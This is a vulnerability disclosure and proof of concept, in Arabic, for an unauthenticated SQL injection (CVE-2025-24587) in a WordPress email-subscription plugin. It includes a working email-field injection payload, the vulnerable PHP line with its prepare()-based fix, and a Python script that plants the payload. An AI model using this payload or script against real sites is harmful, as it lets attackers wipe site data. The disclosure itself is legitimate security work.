
PoC لـ CVE-2025-24587
إضافة ووردبريس
اسم المكوّن Email Subscription Popup
الإصدار المعرّض للخطر <= 1.2.23
معرّف المكوّن email-subscribe
رابط المكوّن https://wordpress.org/plugins/email-subscribe/
فئة الثغرة A3: Injection
نوع الثغرة SQL Injection
بدون مصادقة
يقوم مستخدم غير مصرّح له (مهاجم) بالاشتراك في النشرة البريدية باستخدام عنوان بريد إلكتروني يحتوي على حمولة حقن SQL. لاحقًا، عندما ينتقل المدير إلى صفحة "إدارة المشتركين"، ويحدد عنوان البريد الإلكتروني الخبيث، ويطلب حذفه، يتم تنفيذ حمولة حقن SQL المضمّنة في عنوان البريد الإلكتروني. ونتيجة لذلك، يتم حذف جميع عناوين البريد الإلكتروني المشتركة من قاعدة البيانات.
poc.py.txt (المرفق) باستخدام بايثون للاشتراك في النشرة البريدية بعنوان بريد إلكتروني يحتوي على حمولة تؤدي إلى تشغيل ثغرة حقن SQL:
'/**/OR/**/1=1#@a.ahttp://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management.'/****/**OR**/****/1=1#@a.a وانقر على زر "حذف المشتركين المحددين" في الأسفل.[سبب الثغرة]
تحدث هذه الثغرة في الملف wp-content/plugins/email-subscribe/wp-email-subscription.php، وتحديدًا بين السطرين 2080 و2084:
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의
# line 2083 ~ line 2084
$query = "delete from " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);
لحل هذه المشكلة، يمكنك استخدام $wpdb->prepare() المقدمة من ووردبريس. تقوم هذه الدالة بتهريب المتغيرات وتنسيقها بشكل آمن في استعلامات SQL لمنع هجمات حقن SQL.
$query = $wpdb->prepare(
"DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
$em
);
$wpdb->query($query);
import re
import string
import random
import requests
TARGET = "http://localhost:8080"
def poc():
####
# 1. Retrieve the value of 'sec_string' required for email subscription
####
resp = requests.get(f"{TARGET}")
pattern = r'var nonce = \'(.{10})\';'
match = re.search(pattern, resp.text)
if match:
sec_string = match.group(1)
print("[*] sec_string: " + sec_string)
####
# 2. Generate subscribers with random email addresses
####
random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
for i in range(10):
data = {
"action": "store_email",
"email": f"{random_string}_{i}@example.com",
"name": f"{random_string}_{i}",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
####
# 3. Create a malicious email address to delete all subscriptions
####
data = {
"action": "store_email",
"email": "'/**/OR/**/1=1#@a.a",
"name": "Email mine",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
else:
print("[-] 'sec_string' not found")
if __name__ == "__main__":
poc()